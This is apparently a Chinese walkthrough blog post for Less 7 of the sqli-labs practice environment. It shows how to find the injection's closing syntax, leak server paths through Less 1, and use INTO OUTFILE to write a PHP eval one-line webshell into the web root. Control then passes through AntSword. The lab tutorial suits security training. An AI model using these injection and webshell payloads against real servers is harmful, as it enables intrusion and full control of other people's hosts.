zoukankan      html  css  js  c++  java
  • sqli-lab 通关指南:Less 7

    开启文件读写权限

    MySql 使用 secure-file-priv 参数对文件读写进行限制,当参数值为 null 时无法进行文件导出操作。使用这条命令可以查看:

    show variables like '%secure%';
    


    通过修改 MySQL 下的 my.ini 配置文件就可以启用权限,需要把下面这个字符串写入文件中。

    secure_file_priv="/"
    


    再次查看此参数,若参数值不为 null 则修改成功。

    判断注入类型

    注入个正常的参数,网页返回 “You are in.... Use outfile......”。

    ?id=1
    


    注入单引号和单引号加个括号闭合,网页回显错误信息。

    ?id=1'
    ?id=1')
    


    注入单引号再加上 2 个括号闭合,网页回显 “You are in.... Use outfile......”,说明这是用一个单引号和 2 个括号闭合的字符型注入。

    ?id=1'))
    

    写入文件

    我们需要先知道网页所在的文件路径,从 Less 7 是没办法得知的,所以我们转去 Less 1 获取文件路径。这种操作也可以应用在实践中,可以同时利用同一 Web 中的多个注入点。

    http://127.0.0.1/sqli-labs-master/Less-1/?id=9999' UNION SELECT 1,@@basedir,@@datadir --+
    


    使用 UNION 联合查询来注入参数,使用 into outfile 在网页目录下写入一句话木马。注意此处存在转义的问题,所有的 “” 都要双写。

    ?id=1')) UNION SELECT 1,2,'<?php @eval($_POST["attack"]);?>' into outfile "D:\phpstudy_pro\WWW\sqli-labs-master\Less-7\text.php"--+
    


    虽然网页显示错误,但是打开文件发现成功写入。

    WebShell

    使用蚁剑连接,记得 url 要加上我们传入的 text.php。

    连接成功,现在可以随意操作网页所在主机的文件了。

    关卡 Sql 查询语句

    $sql = "SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    
    if($row)
    {
          echo '<font color= "#FFFF00">';	
          echo 'You are in.... Use outfile......';
          echo "<br>";
          echo "</font>";
    }
    else 
    {
          echo '<font color= "#FFFF00">';
          echo 'You have an error in your SQL syntax';
          //print_r(mysql_error());
          echo "</font>";  
    }
    
  • 相关阅读:
    创建git项目的feature分支以及下载特定分支的仓库代码
    C++读取文件
    linux解压eclipse启动时无法找到jre环境的解决办法
    ubuntu安装谷歌浏览器
    web项目脱离Eclipse在Tomcat部署并配置Eclipse调试
    阿里巴巴连接池Druid简单使用
    gc overhead limit exceeded
    onload方法注意点
    获取Spring管理的Bean
    Java应用中使用ShutdownHook友好地清理现场
  • 原文地址:https://www.cnblogs.com/linfangnan/p/13833242.html
Copyright © 2011-2022 走看看